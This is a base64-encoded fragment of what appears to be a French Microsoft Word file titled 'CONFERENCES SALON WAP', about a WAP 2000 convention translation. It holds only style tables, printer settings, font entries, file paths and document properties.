AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASABMACgABAFsADwACAAAAAAAAADQA
AEDx/wIANAAAAAYATgBvAHIAbQBhAGwAAAACAAAAFABDShgAT0oDAFFKAwBrSOQEbUgMBCwAAQAB
AAIALAAAAAcAVABpAHQAcgBlACAAMQAAAAgAAQADJAMGJAEDADUIgQAuAAIAAQACAC4AAAAHAFQA
aQB0AHIAZQAgADIAAAAFAAIABiQBAAcANQiBQ0ocAAAqAAMAAQACACoAAAAHAFQAaQB0AHIAZQAg
ADMAAAAFAAMABiQBAAMANQiBAAAAAAAAAAAAAAAAADIAQUDy/6EAMgAAABEAUABvAGwAaQBjAGUA
IABwAGEAcgAgAGQA6QBmAGEAdQB0AAAAAAAAAAAAAAAAACoAPkABAPIAKgAAAAUAVABpAHQAcgBl
AAAABQAPAAMkAQAHADUIgUNKHAAANABCQAEAAgE0AAAADgBDAG8AcgBwAHMAIABkAGUAIAB0AGUA
eAB0AGUAAAACABAABABDShwAMgD+TwEAEgEyAAAACwBCAG8AZAB5ACAAVABlAHgAdAAgADIAAAAF
ABEAAyQDAAQAQ0ocADAA/g8BACIBMAAAAAwARABvAGMAdQBtAGUAbgB0ACAATQBhAHAAAAAGABIA
LUQgAQAAAAAAAO8LAAAEAAAoAAAAAP////8ABAAA7w8AAA8AAAAABAAAcAgAAFsNAADvDwAAEAAA
ABIAAAATAAAAAAQAAO8PAAARAAAAAAAAAIQBAACHAQAAGAYAACQGAADxCwAABwAcAAcAHAAHAAAA
AAAOAAAAEwAAACUAAAAmAAAALgAAADIAAAA3AAAATwAAAN0AAADkAAAAGAEAABoBAAAxAQAAMgEA
AHMBAACEAQAAkwEAAJQBAAB9AgAAfgIAAH8CAACPAgAAmwIAAJsCAABHAwAASwMAAFEDAABoAwAA
cAQAAIAEAAA4BQAAPgUAAF0FAAB4BQAAegUAAIoFAADDBQAAxgUAAOkFAADqBQAA8gUAAPYFAAD8
BQAAFAYAAMgGAADIBgAARwcAAFcHAABQCAAAYAgAABEJAAATCQAAFwkAABsJAAAhCQAAOQkAALsJ
AAC/CQAABAoAABQKAAAeCwAALgsAAO0LAADuCwAA8QsAAAcABAAHAAQABwAEAAcABAAHAAQABwAE
AAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQA
BwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwAEAAcABAAHAAQABwD//xQAAAAD
AEMAVABNADgAQwA6AFwATQBlAHMAIABEAG8AYwB1AG0AZQBuAHQAcwBcAFcAQQBQACAAMgAwADAA
MABcAFcAQQBQAEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAu
AGQAbwBjAAMAQwBUAE0ASwBDADoAXABXAEkATgBEAE8AVwBTAFwAVABFAE0AUABcAEUAbgByAGUA
ZwBpAHMAdAByAGUAbQBlAG4AdAAgAGEAdQB0AG8AbQBhAHQAaQBxAHUAZQAgAGQAZQBXAEEAUABD
AE8ATgBWAEUATgBUAEkATwBOACAARQBuAGcAbABpAHMAaAAgAFQAcgBhAGQALgBhAHMAZAADAEMA
VABNADgAQwA6AFwATQBlAHMAIABEAG8AYwB1AG0AZQBuAHQAcwBcAFcAQQBQACAAMgAwADAAMABc
AFcAQQBQAEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAuAGQA
bwBjAAMAQwBUAE0AOABDADoAXABNAGUAcwAgAEQAbwBjAHUAbQBlAG4AdABzAFwAVwBBAFAAIAAy
ADAAMAAwAFwAVwBBAFAAQwBPAE4AVgBFAE4AVABJAE8ATgAgAEUAbgBnAGwAaQBzAGgAIABUAHIA
YQBkAC4AZABvAGMAAwBDAFQATQBLAEMAOgBcAFcASQBOAEQATwBXAFMAXABUAEUATQBQAFwARQBu
AHIAZQBnAGkAcwB0AHIAZQBtAGUAbgB0ACAAYQB1AHQAbwBtAGEAdABpAHEAdQBlACAAZABlAFcA
QQBQAEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAuAGEAcwBk
AAMAQwBUAE0AOABDADoAXABNAGUAcwAgAEQAbwBjAHUAbQBlAG4AdABzAFwAVwBBAFAAIAAyADAA
MAAwAFwAVwBBAFAAQwBPAE4AVgBFAE4AVABJAE8ATgAgAEUAbgBnAGwAaQBzAGgAIABUAHIAYQBk
AC4AZABvAGMAAwBDAFQATQBLAEMAOgBcAFcASQBOAEQATwBXAFMAXABUAEUATQBQAFwARQBuAHIA
ZQBnAGkAcwB0AHIAZQBtAGUAbgB0ACAAYQB1AHQAbwBtAGEAdABpAHEAdQBlACAAZABlAFcAQQBQ
AEMATwBOAFYARQBOAFQASQBPAE4AIABFAG4AZwBsAGkAcwBoACAAVAByAGEAZAAuAGEAcwBkAAMA
QwBUAE0ASwBDADoAXABXAEkATgBEAE8AVwBTAFwAVABFAE0AUABcAEUAbgByAGUAZwBpAHMAdABy
AGUAbQBlAG4AdAAgAGEAdQB0AG8AbQBhAHQAaQBxAHUAZQAgAGQAZQBXAEEAUABDAE8ATgBWAEUA
TgBUAEkATwBOACAARQBuAGcAbABpAHMAaAAgAFQAcgBhAGQALgBhAHMAZAADAEMAVABNAEsAQwA6
AFwAVwBJAE4ARABPAFcAUwBcAFQARQBNAFAAXABFAG4AcgBlAGcAaQBzAHQAcgBlAG0AZQBuAHQA
IABhAHUAdABvAG0AYQB0AGkAcQB1AGUAIABkAGUAVwBBAFAAQwBPAE4AVgBFAE4AVABJAE8ATgAg
AEUAbgBnAGwAaQBzAGgAIABUAHIAYQBkAC4AYQBzAGQAAwBDAFQATQA+AEMAOgBcAE0AZQBzACAA
RABvAGMAdQBtAGUAbgB0AHMAXABXAEEAUAAgADIAMAAwADAAXABXAEEAUAAgAEMATwBOAFYARQBO
AFQASQBPAE4AIABDAG8AbgBmAGUAcgBlAG4AYwBlACAAVABoAGUAbQBlAHMALgBkAG8AYwD/QEVQ
U09OIFN0eWx1cyBDT0xPUiA5MDAATFBUMToARVBJSk5MMjAARVBTT04gU3R5bHVzIENPTE9SIDkw
MABFUFNPTiBTdHlsdXMgQ09MT1IgOTAwAAAAAAAAAAAAAAAEJwKUACYBD4uABwEACQCaCzQIAAAB
AAcAaAECAAAAaAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAQAAAAIAAAABAAAAIAEAAAAAAAAAAAAARExMTmFtZTE2PUVQSUdVRTNWLkRM
TAAAAAAAAAAAAABETExOYW1lMzI9RVBJREEyMzAuRExMAAAAAAAAAAAAAEVQU09OIFN0eWx1cyBD
T0xPUiA5MDAAAAAAAAAAAAAAAAMCAGgBaAEBAAAAAAAAAAABAAAJAEwLgQ9MC4EPZABoAWgBoAtx
ECoAKgAqAMYAoAtxECoAKgAqAMYAAAAAABQAAAAAAAAAAAAyAAAA/wAAAAAAAAAAAAAAAAABAAAA
AAADAAAAAQAAAAAAAQAEAAYAAgAAAAAAAAACAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAA0CJoLAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARVBTT04gU3R5bHVz
IENPTE9SIDkwMAAAAAAAAAAAAAAABCcClAAmAQ+LgAcBAAkAmgs0CAAAAQAHAGgBAgAAAGgBAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA
AAACAAAAAQAAACABAAAAAAAAAAAAAERMTE5hbWUxNj1FUElHVUUzVi5ETEwAAAAAAAAAAAAARExM
TmFtZTMyPUVQSURBMjMwLkRMTAAAAAAAAAAAAABFUFNPTiBTdHlsdXMgQ09MT1IgOTAwAAAAAAAA
AAAAAAADAgBoAWgBAQAAAAAAAAAAAQAACQBMC4EPTAuBD2QAaAFoAaALcRAqACoAKgDGAKALcRAq
ACoAKgDGAAAAAAAUAAAAAAAAAAAAMgAAAP8AAAAAAAAAAAAAAAAAAQAAAAAAAwAAAAEAAAAAAAEA
BAAGAAIAAAAAAAAAAgAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANAia
CwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAQCxCwAAsQsAAOz01QCMAIwAsQsAAAAA
AACxCwAAAAAAAAIQAAAAAAAAAO8LAABAAAAIAEAAAAQAAABHFpABAAACAgYDBQQFAgMEAwAAAAAA
AAAAAAAAAAAAAAEAAAAAAAAAVABpAG0AZQBzACAATgBlAHcAIABSAG8AbQBhAG4AAAA1FpABAgAF
BQECAQcGAgUHAAAAAAAAABAAAAAAAAAAAAAAAIAAAAAAUwB5AG0AYgBvAGwAAAAzJpABAAACCwYE
AgICAgIEAwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAQQByAGkAYQBsAAAANxKQAQAAAAAAAAAAAAAA
AAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAFQAbQBzACAAUgBtAG4AAAAiAAQAQQCIGAAAxAIAAKkB
AAAAAC6cRiZUtEaG43JGRg4AMgAAALkBAADXCQAAAQAFAAAABACDEBQAAAAAAAAAAAAAAAEAAQAA
AAEAAAAAAAAA0SIAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApQbAB7QAtACAABIwAAAQ
ABkAZAAAABkAAAAVDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAP//EgAAAAAAAAAVAEMATwBOAEYARQBSAEUATgBD
AEUAUwAgAFMAQQBMAE8ATgAgAFcAQQBQAAAAAAAAAAgAUABUAE8ATABFAE0ARQBFAAMAQwBUAE0A
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAABAAAA4IWf
8vlPaBCrkQgAKyez2TAAAACMAQAAEgAAAAEAAACYAAAAAgAAAKAAAAADAAAAwAAAAAQAAADMAAAA
BQAAAOAAAAAGAAAA7AAAAAcAAAD4AAAACAAAAAgBAAAJAAAAFAEAABIAAAAgAQAACgAAADwBAAAL
AAAASAEAAAwAAABUAQAADQAAAGABAAAOAAAAbAEAAA8AAAB0AQAAEAAAAHwBAAATAAAAhAEAAAIA
AADkBAAAHgAAABYAAABDT05GRVJFTkNFUyBTQUxPTiBXQVAAOAAeAAAAAQAAAABPTkYeAAAACQAA
AFBUT0xFTUVFAEVTIB4AAAABAAAAAFRPTB4AAAABAAAAAFRPTB4AAAAHAAAATm9ybWFsAEUeAAAA
BAAAAENUTQAeAAAAAwAAADE0AAAeAAAAEwAAAE1pY3Jvc29mdCBXb3JkIDguMABBQAAAAACsI/wG
AAAAQAAAAAA6MM/j1b8BQAAAAAAEexX92b8BQAAAAACQp1Rd3L8BAwAAAAEAAAADAAAAuQEAAAMA
AADXCQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA/v8AAAQAAgAAAAAAAAAAAAAAAAAAAAAAAgAAAALVzdWcLhsQk5cI
ACss+a5EAAAABdXN1ZwuGxCTlwgAKyz5rkgBAAAEAQAADAAAAAEAAABoAAAADwAAAHAAAAAFAAAA
hAAAAAYAAACMAAAAEQAAAJQAAAAXAAAAnAAAAAsAAACkAAAAEAAAAKwAAAATAAAAtAAAABYAAAC8
AAAADQAAAMQAAAAMAAAA5gAAAAIAAADkBAAAHgAAAAkAAABQVE9MRU1FRQAARQADAAAAFAAAAAMA
AAAFAAAAAwAAABUMAAADAAAAahAIAAsAAAAAAAAACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAAHhAA
AAEAAAAWAAAAQ09ORkVSRU5DRVMgU0FMT04gV0FQAAwQAAACAAAAHgAAAAYAAABUaXRyZQADAAAA
AQAAAJgAAAADAAAAAAAAACAAAAABAAAANgAAAAIAAAA+AAAAAQAAAAIAAAAKAAAAX1BJRF9HVUlE
AAIAAADkBAAAQQAAAE4AAAB7ADcAQgBFADIAQQA4AEUAMAAtADQAMwA5AEYALQAxADEARAA0AC0A
OABFADAAMAAtADAAMAA1ADAAMAA0ADkAMwA5ADIAMwBGAH0AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
